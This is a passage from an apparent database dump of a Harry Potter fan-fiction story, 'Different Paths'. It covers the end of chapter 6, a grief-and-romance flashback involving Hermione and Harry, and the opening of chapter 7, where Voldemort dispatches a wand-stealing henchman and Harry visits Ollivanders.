relief.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>However, as luck would have\nit, Harry and Ron walked into the Great Hall or rather, Harry was dragging a\nsulking Ron into the Great Hall.&nbsp; Harry\ntook a seat across from Hermione and forced Ron into the seat next to him.&nbsp; He tried to grin at Hermione while Ron just\nglared at her.&nbsp; Hermione&#8217;s response was\nan icy glare at both of them.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>Harry sighed and buried his\nface into his hands.&nbsp; &#8220;Hermione, it&#8217;s\nbeen three days now.&nbsp; Can&#8217;t you just put\nit behind you?&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;I can put it behind me,&#8221;\nsaid Hermione.&nbsp; &#8220;But it looks like <b>he</b>,&#8221;\nmeaning Ron, &#8220;can&#8217;t seem to do so.&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;I wouldn&#8217;t have to put it\nbehind me if you hadn&#8217;t just called it off,&#8221; Ron said rather icily.&nbsp; Hermione&#8217;s eyes narrowed.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;Perhaps I wouldn&#8217;t have\ncalled it off if you hadn&#8217;t been so controlling,&#8221; she hissed.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;What&#8217;s that supposed to\nmean?&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;It means, Ronald, that when\nI say I need to study or read, you let me study or read.&nbsp; Not attempt to drag me into some broom\ncloset to do who knows what?&#8221; exclaimed Hermione.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;You spend far too much time\nstudying anyway!&nbsp; We were supposed to\nhave been going out.&nbsp; But for you, it seemed\nlike you&#8217;d rather spend time with your books than with me!&#8221; shouted Ron.&nbsp; By now, the entire Great Hall was interested\nin the argument.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;Maybe I just had my\npriorities straightened out!&#8221; Hermione shouted.&nbsp; &#8220;That should&#8217;ve been something you should&#8217;ve done rather than try\nto kiss me every free time we&#8217;ve had!&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;That&#8217;s another point!&#8221; Ron\nyelled.&nbsp; &#8220;You didn&#8217;t let me kiss you at\nall!&nbsp; When two people are going out, I\nwould&#8217;ve expected at least some kisses!&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>Harry banged his head on the\ntable wishing he was anywhere but there.&nbsp;\nThe entire Great Hall had their attention on his best friends and Harry\ncouldn&#8217;t have been more relieved at that moment that Malfoy was away on an\nexchange program in France (Harry and Hermione had also been selected for the\nprogram but Hermione still hadn&#8217;t decided if she wanted to go or not and had\nprolonged the decision till January.&nbsp;\nHarry for his part had decided that if Hermione was going, he was going\nand if she wasn&#8217;t then he wasn&#8217;t).&nbsp; He\nnoticed that some of the professors were heading toward them.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>Hermione was about to retort\nwhen the entire Hall, including Ron and Hermione suddenly became dead\nsilent.&nbsp; A single owl had just flown\ninto the room carrying a black envelope.&nbsp;\nThis black envelope was a great source of dread ever since Voldemort&#8217;s\nreturn.&nbsp; It was an official notice from\nthe Ministry about the death of a family member of whoever received the\nenvelope.&nbsp; For quite some time, students\nand staff held their breaths in dreaded silence as the ominous owl circled over\ntheir heads.&nbsp; Finally, the owl dropped\nthe envelope right in front of Hermione, much to the shock of Harry and Ron.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>With trembling hands,\nHermione opened the letter and started to read it.&nbsp; As her eyes skimmed down the parchment, Harry noticed how her eyes\nfilled with despair as they welled up with tears.&nbsp; &#8220;No,&#8221; Hermione whispered.&nbsp;\nHer tears were starting to fall freely and she dropped the parchment as\nif it were on fire.&nbsp; &#8220;No!&#8221; she\nscreamed.&nbsp; She ran out of the Great\nHall, sobbing all the way.&nbsp; Harry quickly\nglanced at the parchment and skimmed its words before taking off after\nHermione.&nbsp; Ron hesitantly picked up the\nparchment and started reading it.&nbsp; By\nthe time he had finished, Ron was white as a ghost.&nbsp; Although the letter had used many words to cover up what was\nwritten there, the message was clear: Hermione&#8217;s parents had been murdered by\nDeath Eaters.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>Her parents were dead.&nbsp; That was the only thought in Hermione&#8217;s mind\nas she ran down the corridors of Hogwarts.&nbsp;\nShe wasn&#8217;t even sure why she was running or from who she was running\nfrom.&nbsp; She didn&#8217;t even realize that she\nhad just given the portrait of the Fat Lady the password and was now in the\nGryffindor Common Room.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>It was dark in the Common\nRoom, the only source of light coming from the fire.&nbsp; Hermione had intended to go up to the dormitories and cry herself\nto sleep but she didn&#8217;t make it that far.&nbsp;\nShe collapsed on one of the sofas in front of the fire as more sobs\nracked her body.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>Her parents had been\nkilled.&nbsp; Hermione felt like nothing made\nsense anymore, as if her entire world had been turned around.&nbsp; She was lost now, her family and home stolen\nfrom her by Voldemort.&nbsp; Nothing made any\nmore sense and a small part of her wished that she would die just to end the\nmisery.&nbsp; Perhaps it also had to do with\nher break up with Ron but Hermione was now feeling worthless, that nobody could\npossibly love her anymore and that she was truly alone.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>Then, she felt a hand on her\nback.&nbsp; Harry was gently rubbing her back\nhoping to provide at least a little bit of comfort to Hermione&#8217;s tormented\nsoul.&nbsp; Hermione didn&#8217;t move but the\nsimple act had clearly calmed her down a little.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>As gently as he could, Harry\nslid onto the sofa right next to Hermione and wrapped his arms around her\npetite body.&nbsp; Hermione buried her face\ninto Harry&#8217;s chest and sobbed some more.&nbsp;\nHarry held her close and whispered soothing words into her ear as he\ngently stroked her long brown hair.&nbsp;\nFinally, after many minutes, Hermione&#8217;s sobs subsided though the tears\ndid not stop.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;They&#8217;re dead,&#8221; she\nwhispered.&nbsp; &#8220;My Mum and Dad are d-dead.&#8221;\nshe burst into another round of tears.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;I know, I know,&#8221; Harry\nwhispered.&nbsp; He gently placed a kiss on\nHermione&#8217;s head.&nbsp; It wasn&#8217;t until a few\nminutes later when Hermione felt tears fall on her head that she realized Harry\nwas crying as well.&nbsp; Days later, she\nwould come to realize that Harry had also been crying to share her pain and\nbecause he simply couldn&#8217;t bear seeing her that distraught.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;Does the pain ever s-stop?&#8221;\nshe whispered.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>Harry couldn&#8217;t relate the\nfeeling of losing one&#8217;s parents but he could relate to being an orphan.&nbsp; &#8220;No,&#8221; he answered honestly.&nbsp; &#8220;But it dulls over time, becomes numb, and\nyou soon only barely realize that it&#8217;s there.&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>Hermione nodded as more tears\ncame.&nbsp; For the entire night, they just\nsat there with Harry&#8217;s arms wrapped protectively around Hermione as Hermione\ncried on and off.&nbsp; All of the other\nGryffindors decided to just let them be and disappeared into the dormitories\nwithout bothering them.&nbsp; Eventually,\nthey fell asleep with Harry&#8217;s arms still around Hermione.&nbsp; It was Harry&#8217;s presence that had allowed\nHermione rest and it was because he was there that she was able to sleep\npeacefully that night.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>When Ron had come back to the\nCommon Room, he was surprised to see Harry and Hermione in front of the fire,\nboth asleep on the sofa.&nbsp; Harry&#8217;s arms\nwere wrapped securely around Hermione as if trying to protect her from the\nhorrors outside of the castle.&nbsp;\nHermione&#8217;s face was still tear streaked but being in Harry&#8217;s presence\nseemed to have calmed her down and was very peaceful.&nbsp; It struck Ron just how natural the two looked right there on the\nsofa.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>In that moment, Ron realized\nthat he had lost.&nbsp; He had lost Hermione\nto Harry.&nbsp; But as the anger and jealousy\nstarted to well up he realized that that thought wasn&#8217;t accurate.&nbsp; He hadn&#8217;t lost Hermione since he never had a\nclaim on her: he had only deluded himself into thinking so.&nbsp; Hermione and Harry had been each other&#8217;s\nfrom the very start and there was no way that he could&#8217;ve ever had had Hermione\nwhichever way.&nbsp; Fighting done the\nimpulses of anger and jealousy Ron decided right there that he would become a\nbetter friend to both of his best friends, once he could control his emotions\nthat is.&nbsp; Before he lost his resolve and\nshouted something he would later regret, Ron summoned Harry&#8217;s invisibility\ncloak and left the Common Room, intending to cool down with a few walks around\nthe lake.&nbsp; He stayed out there until\ndawn.&nbsp; When he came back, Harry and\nHermione were still sleeping on the sofa.&nbsp;\nHe sighed and crept up to his dorm trying not to wake them.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>Hermione woke up about half\nan hour later when the morning sun hit her eyes.&nbsp; She still felt hurt and empty by the loss of her parents but\nbeing with Harry had helped calm her and she felt very peaceful.&nbsp; Barely moving so as not to disturb Harry&#8217;s\nslumber, she looked up into his sleeping face.&nbsp;\nShe mused how vulnerable and child like he looked when he slept, especially\nsince he wasn&#8217;t wearing his glasses (which were on the floor).&nbsp; As she lay there, Hermione couldn&#8217;t help but\nmarvel at how Harry had spent the entire night with her, comforting her in her\nloss, protecting her from the misery that threatened to overwhelm her.&nbsp; She had never felt more loved in that moment\nand it was perhaps that feeling that made her do something she had never done\nbefore, not even to Ron.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>She had kissed him.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>She had brought her lips up\nto his and had closed her eyes as she tried to convey all the gratitude and\nlove she had felt for him.&nbsp; Soon, she was\nsurprised to feel him kiss her back but she still did not stop the kiss.&nbsp; It was sweet and blissful and unfortunately\nit eventually had to end.&nbsp; As she pulled\naway, Hermione opened her eyes only to look into Harry&#8217;s confused green ones.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;Hermione?&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;I&#8217;m sorry,&#8221; she whispered as\nher eyes welled up with tears again.&nbsp; &#8220;I\nshouldn&#8217;t have done that.&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;No, no.&nbsp; It&#8217;s OK.&nbsp;\nI...&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;Harry, I just broke up with\nRon.&nbsp; My parents have just died.&nbsp; I&#8217;m not ready.&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;Oh.&#8221;&nbsp; Harry exhaled and smiled at her.&nbsp; &#8220;I&#8217;ll wait.&#8221;</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>&#8220;Really?&#8221; whispered\nHermione.&nbsp; When Harry nodded, Hermione\ncouldn&#8217;t help but form a small smile.&nbsp;\nShe snuggled deeper into Harry&#8217;s arms.&nbsp;\nThey remained in that position until just before noon, and none of the\nGryffindor students dared bother them since Ron had silently threatened each\none of them as they came down the stairs.</i></p>\n\n<p><i>&nbsp;</i></p>\n\n<p><i>After that Harry and Hermione\nsimply continued growing closer.&nbsp; Their\nrelationship with Ron was strained for a while as Ron tried to control his\nvolatile emotions but he eventually came to fully support their improved\nrelationship in a few weeks and the trio became closer than ever.&nbsp; Hermione eventually fell deeply in love with\nHarry but somehow lacked the courage to tell him that she was indeed\nready.&nbsp; Still, Harry had waited and perhaps\nit was that sense of security that had made Hermione feel like it was OK not to\ntell him since it was a foregone conclusion that they would eventually get\ntogether.&nbsp; However, that sense of\nsecurity had been shattered when Harry had abruptly left.</i></p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hey snap out of it!&nbsp; Fred and George aren&#8217;t going to be waiting\nfor us forever you know!&#8221;&nbsp; Ron&#8217;s voice\nsnapped Hermione thoughts back to the present.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;If I know Fred and George,\nthey&#8217;ll only let us stay at their store while the place is open.&nbsp; That means we have two hours to get\nthere.&nbsp; Now lets go!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;All right,&#8221; said Hermione.&nbsp; She quickly hurried after Ron who was\ngrumbling.&nbsp; &#8220;OK, which way is your\nbrothers&#8217; store?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Ron however did not answer.&nbsp; Hermione turned toward him to see what was\nwrong.&nbsp; Ron was apparently starring at\nsomeone in a crowd.&nbsp; His eyes were wide,\nhis mouth was hanging open, and he looked rather pale.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ron what&#8217;s wrong?&#8221;&nbsp; Ron however didn&#8217;t seem to have heard her\nquestion.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Him?&nbsp; What&#8217;s he...what&#8217;s that git doing here?&nbsp; Back in England?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Who?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Malfoy!&#8221;&nbsp; Ron spat the name out as if it were some\nkind of poison.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Malfoy?&nbsp; As in Draco Malfoy?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You know any other Malfoys?&#8221;\nexclaimed Ron.&nbsp; When Hermione raised her\neyebrows at him, he said, &#8220;You know any other <b>living </b>Malfoys?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Are you sure it was him?&nbsp; He hasn&#8217;t been in England for two years.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Of course I&#8217;m sure.&nbsp; I&#8217;d recognize that ugly mop of blonde hair\nof his anywhere.&nbsp; It was Malfoy!&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;But I don&#8217;t see him.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;He just disappeared into that\ncrowd over there,&#8221; said Ron pointing to a large crowd on the other side of the\nalley.&nbsp; &#8220;He was headed toward Knockturn\nAlley.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Hermione sighed.&nbsp; &#8220;Well, we can&#8217;t do anything about that can\nwe?&#8221;&nbsp; She started tugging on Ron&#8217;s\narm.&nbsp; &#8220;Come on, let&#8217;s get to your\nbrothers&#8217; store.&nbsp; We can worry about\nMalfoy later.&nbsp; I&#8217;d rather worry about\nHarry and try to start looking for him.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;All right,&#8221; said Ron with a\nsigh.&nbsp; He reluctantly let Hermione drag\nhim away but not before looking up to see if Draco had indeed headed into\nKnockturn Alley.&nbsp; But he couldn&#8217;t see\nhim anywhere.</p>\n\n<p>&nbsp;</p>\n\n<p><b>To be continued...</b></p>\n\n<p>&nbsp;</p>\n\n<p>A/N Chapter 6!&nbsp; Did you enjoy it?&nbsp; I&#8217;m especially proud of the flashback scene.&nbsp; I&#8217;m hoping that it fills you in on what\nhappened in the past not to mention I wanted to provide a H/H moment.&nbsp; So read and review.&nbsp; Next: Harry&#8217;s quest for a new wand.</p>\n\n\n\n\n\n\n'),
	(33, 7, '\n\n\n\n\n\n\n\n<p><b>Title:</b> Different Paths (07)<br>\n<b>Author name:</b> E.\nC. R. Potter<br>\n<b>Author email:</b> ecrpotter@hotmail.com<br>\n<b>Category:</b> Action/Adventure<br>\n<b>Sub Category:</b> Drama<br>\n<b>Keywords:</b> Harry Voldemort Different Paths<br>\n<b>Rating:</b> PG-13<br>\n<b>Spoilers:</b> SS/PS, CoS, PoA, GoF, FB, QTTA, Ruroni Kenshin: Kyoto story\narc.<br>\n<b>Summary:</b> Tom Marvolo Riddle, Harry James Potter. Two wizards, with\nincredibly similar beginnings, who journeyed on different paths. Such different\npaths that inevitably, they could only lead to a collision course. And collide,\nthey do.<br>\n<b>DISCLAIMER:</b> This story is based on characters and situations created and\nowned by JK Rowling, various publishers including but not limited to Bloomsbury\nBooks, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is\nbeing made and no copyright or trademark infringement is intended. It is also\nbased on a plot line based on a story owned by Nobuhiro Wazuki, Jump Comics\nInc., Fuji Television, and other publishers. No money is being made and no\ncopyright or trademark infringement is intended from them either.<br>\n<b>Author notes:</b> Chapter 7.&nbsp; There&#8217;s\nmore action to please people in this chapter.&nbsp;\nI&#8217;m not to good at writing an Australian accent so please bear with\nme.&nbsp; So anyway, just have fun reading\nthe chapter and review.&nbsp; Oh and I&#8217;m also\nanswering the question posed in chapter 4 about why Ginny and Snape were\nstanding by coolly while Harry was dueling Seth and Century.</p>\n\n<p>&nbsp;</p>\n\n<p><b>Chapter 7: The Wand Hunter</b></p>\n\n<p>&nbsp;</p>\n\n<p>The following day, Harry and\nHagrid were in the Leaky Cauldron talking over a tankard of butterbeer.&nbsp; &#8220;If everythin&#8217; yeh&#8217;re tellin&#8217; me about this Seth\nfella &#8216;re true then yeh&#8217;re very lucky ta have gotten outta there with only a\nbroken wand,&#8221; said Hagrid before downing the last of his drink.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Lucky, that&#8217;s one way of\nputting it,&#8221; said Harry.&nbsp; &#8220;What I&#8217;m\nwondering is why someone like Seth Soran is working for Voldemort?&nbsp; And not only him; there was this woman with\nVoldemort as well.&nbsp; What&#8217;s her name\nagain?&nbsp; Yasmin...&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yasmin Correllan?&#8221; said Hagrid\nrather surprised.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;You know her?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Sure I know her.&nbsp; She was Tom Riddle&#8217;s best friend back when\nthey were at Hogwarts.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Harry looked up abruptly,\nclearly surprised.&nbsp; He took a few\nminutes to digest this new information before he said &#8220;She looked a lot younger\nthan someone in her sixties.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Musta used a few deagin&#8217; charms\ncombined wi&#8217; the natural long-livedness of wizards,&#8221; said Hagrid.&nbsp; &#8220;Yasmin Correllan is the last one of a\nrenown pureblood wizarding family.&nbsp;\nDespite their prestige, the Correllans had fallen inta hard times by the\ntime Yasmin went inta Hogwarts, Slytherin House.&nbsp; She became close friends wi&#8217; Tom Riddle and from what I saw, they\nwere never apart for long.&nbsp; Later, she\nwas amongst the Death Eaters caught and sentenced ta Azkaban.&nbsp; The last I heard, she were still there but I\nsuppose I were wrong.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Interesting,&#8221; said Harry.</p>\n\n<p>&nbsp;</p>\n\n<p>Just then, Remus entered the\npub.&nbsp; &#8220;Well I&#8217;ve got some interesting\nnews,&#8221; he said.&nbsp; &#8220;I just went down to\nOllivanders.&nbsp; Now keep in mind that I&#8217;ve\nbeen in France for two years and haven&#8217;t been up on the news around here.&nbsp; But John Ollivander, the man who sold you\nyour wand, and my wand as a matter fact, passed away four months ago.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Mr. Ollivanders is dead?&#8221; said\nHarry.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8217;m afraid so,&#8221; said\nRemus.&nbsp; &#8220;The wand making business has\nbeen taken over by his son, Timothy Ollivander.&nbsp; He runs the store now.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Well then, lets go see him,&#8221;\nsaid Harry.</p>\n\n<p>&nbsp;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&nbsp;</p>\n\n<p>Across the city at the Tower of\nLondon, the Dark Lord and Yasmin Correllan were walking into a path hidden to\nall save those whom were aloud in: a path that led deep underground below the\nTower.&nbsp; Yasmin glanced around at the\ndreary torch lit corridor.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Must we stay here my Lord?&#8221; she\nsaid.&nbsp; &#8220;It is dark and dreary and\ncertainly not the ideal place for a woman to be staying.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh come now, Yasmin,&#8221; said\nVoldemort.&nbsp; &#8220;You know full well that\ndespite it&#8217;s dreary entrance, it&#8217;s a full blown palace on the inside.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Of course I do, Tom,&#8221; said\nYasmin.&nbsp; &#8220;But it&#8217;s still\nunderground.&nbsp; I feel like I have the\nright to complain.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Voldemort laughed as the two\nentered a grand doorway.&nbsp; It led into a\nlarge, gothic chamber with high arching ceilings that were illuminated with a\nspell.&nbsp; There was a long scarlet carpet\non the floor and flanking both sides of the carpet were legions of Death\nEaters, their features hidden under their hoods and robes.&nbsp; Behind the Death Eaters stood the vile\ndetestable creatures known as Dementors, formally the guardians of Azkaban and\nnow allies of the Dark Lord.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Hail to the Dark Lord!&#8221; shouted\none of the Death Eaters.&nbsp; The remaining\nfollowed with chants of &#8220;Master!&nbsp;\nMaster!&#8221;&nbsp; With a grin, Voldemort\ntook Yasmin&#8217;s hand and led her down the carpet.&nbsp; At the end of the carpet stood a man in his early forties.&nbsp; He was dressed like a businessman, in a\nbrown robe and a gray suit and tie underneath that robe.&nbsp; His brown hair was balding but he appeared\nto be fully fit.&nbsp; His visual expression\nshowed the fact that he was a man void of emotion, centered completely on logic\nand probability.&nbsp; He also had an\nencyclopedia like mind that would&#8217;ve made Hermione jealous.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Welcome home my Lord,&#8221; he said.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Horace Salacion, my most\ntrusted servant,&#8221; said Voldemort clearly delighted.&nbsp; &#8220;How were things while I was away.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I am proud to report that\nnothing in wrong at present,&#8221; said Salacion.&nbsp;\n&#8220;Tell me Master, where is Seth?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I sent him out to gather the\nremaining Elite Ten,&#8221; said Voldemort.&nbsp;\nSalacion looked pleased.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Then I am assuming, that the\ntime for battle has come?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;It has.&nbsp; Harry Potter is heading toward London as we\nspeak.&nbsp; What better time to implement\nour final battle plan?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Actually Boss, my mates have\nheard that he&#8217;s already arrived in Diagon Alley,&#8221; said a distinct Australian\naccent from another part of the chamber.</p>\n\n<p>&nbsp;</p>\n\n<p>The speaker was a young man who\nlooked outlandish.&nbsp; He was wearing torn\nclothes made of dragon hide leather.&nbsp; He\nhad piercings in his nose and ears while his bleached hair was pulled up in a\nMohawk.&nbsp; On either side of the shaved\nparts of his head, he had a Union Jack tattooed.&nbsp; He also had many wands sticking out of various pockets in his\nclothes.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ah, Chuck Sullivan, a.k.a. &#8216;Chucky\nthe Wand Hunter&#8217;, one of my Elite Ten.&nbsp;\nI see you&#8217;ve arrived,&#8221; said Voldemort.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;G&#8217;day Boss.&nbsp; I came as soon as Seth told me I should,&#8221;\nsaid the Wand Hunter.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I see you are early for once in\nyour life,&#8221; said Horace.&nbsp; &#8220;None of the other\nElite Ten aside from myself are here.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Well mate, I ain&#8217;t going to lie\nto you.&nbsp; I was just down in Kent when\nSeth contacted me: basically the closest one here,&#8221; replied Chucky.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Whichever way the timing is\nexcellent,&#8221; said Horace.&nbsp; &#8220;If Harry\nPotter has indeed arrived at Diagon Alley, then we need someone to spy on him,\nsee what he is doing.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I&#8217;m your man, mate,&#8221; said\nChucky.&nbsp; &#8220;So, anything I should keep in\nmind boss?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Check out Ollivanders,&#8221; said\nVoldemort.&nbsp; &#8220;The first thing Potter\nneeds would be a new wand since Seth destroyed his old one.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ah boss, no offense but if I&#8217;m\ngoing to swing near Ollivanders, I&#8217;d like a little compensation.&nbsp; After all, they don&#8217;t call me the &#8216;Wand\nHunter&#8217; for nothing.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Voldemort turned to Horace who\nimmediately spoke up, &#8220;Rumor has it that before his death, John Ollivander\nbuilt one last wand, apparently one of the most powerful wands he had ever\ncreated.&nbsp; People refer to it as\n&#8216;Ollivander&#8217;s final masterpiece&#8217;.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Gotcha,&#8221; said Chucky.&nbsp; &#8220;Then before I seek out Potter, I&#8217;ll take\nthis &#8216;Ollivander&#8217;s final masterpiece&#8217; for myself.&#8221;&nbsp; With that, Chucky made a quick salute to Voldemort and left the\npalace.</p>\n\n<p>&nbsp;</p>\n\n<p>*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p>&nbsp;</p>\n\n<p>Ollivander&#8217;s Wand Makers looked\npretty much the same for years, an obscure shop located in Diagon Alley.&nbsp; The golden paint on the sign was peeling but\nother than that, the shop was in full order.&nbsp;\nHarry hurriedly hid his scar behind his bangs as he, Remus, and Ginny\nwalked into the store.</p>\n\n<p>&nbsp;</p>\n\n<p>Behind the counter was a young\nwoman with long black hair.&nbsp; &#8220;Can I help\nyou?&#8221; she asked politely.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry was about to speak when he\nwas startled when something grabbed his legs.&nbsp;\nHarry looked sown to see a blonde haired toddler clinging to his\nlegs.&nbsp; &#8220;Glasses.&nbsp; Glasses,&#8221; said the toddler between laughs.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Huh?&#8221; said Harry, &#8220;Oh, my\nglasses.&nbsp; Do you like them?&#8221; Harry\nsmiled at the toddler who laughed even more so.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Ian, come back here.&nbsp; Don&#8217;t bother the guests,&#8221; said the\nwoman.&nbsp;&nbsp;&nbsp; The toddler, still laughing\ndashed back to his mother who picked him up and started cooing him.&nbsp; &#8220;Can I help you?&#8221; the woman asked again.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yes,&#8221; said Remus.&nbsp; &#8220;Is Timothy Ollivander here?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Yes he is,&#8221; said the woman\nrather sweetly.&nbsp; &#8220;He&#8217;s in the back\nmaking wands while I watch over the store.&nbsp;\nI&#8217;m Andrea, Tim&#8217;s wife.&#8221;&nbsp; She turned\naround and shouted, &#8220;Tim, there are some people here to see you.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>A young man with dark hair\nemerged from the back of the shop.&nbsp; He\nwas clearly in his early thirties and had a close resemblance to John\nOllivander.&nbsp; He smiled and said, &#8220;Hello,\nI&#8217;m Timothy Ollivander.&nbsp; How may I help\nyou?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>Remus was about to speak when\nHarry interrupted, &#8220;Oh nothing important really.&nbsp; Just that we&#8217;re old friends of John Ollivander and were hoping to\nsee him again.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh,&#8221; said Tim Ollivander,\nclearly grieved by the thought of his father.&nbsp;\n&#8220;I&#8217;m sorry sirs but my father passed away months ago.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Oh, I&#8217;m so sorry,&#8221; said Harry\ntrying to look his best as if this were news to him.&nbsp; &#8220;I&#8217;m sorry about your loss.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;No, it&#8217;s OK,&#8221; said Timothy\ntrying to brush it off.&nbsp; &#8220;You can&#8217;t help\nit when old age creeps up on you and he died peacefully in his sleep.&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;Well, in that case, I&#8217;m afraid\nthat we have no business here,&#8221; said Harry.&nbsp;\n&#8220;I wish you well.&#8221;&nbsp; With that, he\ndragged a confused Ginny and Remus out of the store.</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;What in the world was that all\nabout?&#8221; Ginny demanded as soon as they had placed a little distance between\nthem and the store.&nbsp; &#8220;We were there to\nask for a wand and you drag us out empty handed?&#8221;</p>\n\n<p>&nbsp;</p>\n\n<p>&#8220;I think you owe us an\nexplanation Harry,&#8221; said Remus.</p>\n\n<p>&nbsp;</p>\n\n<p>Harry sighed and said, &#8220;He has a\nwife and 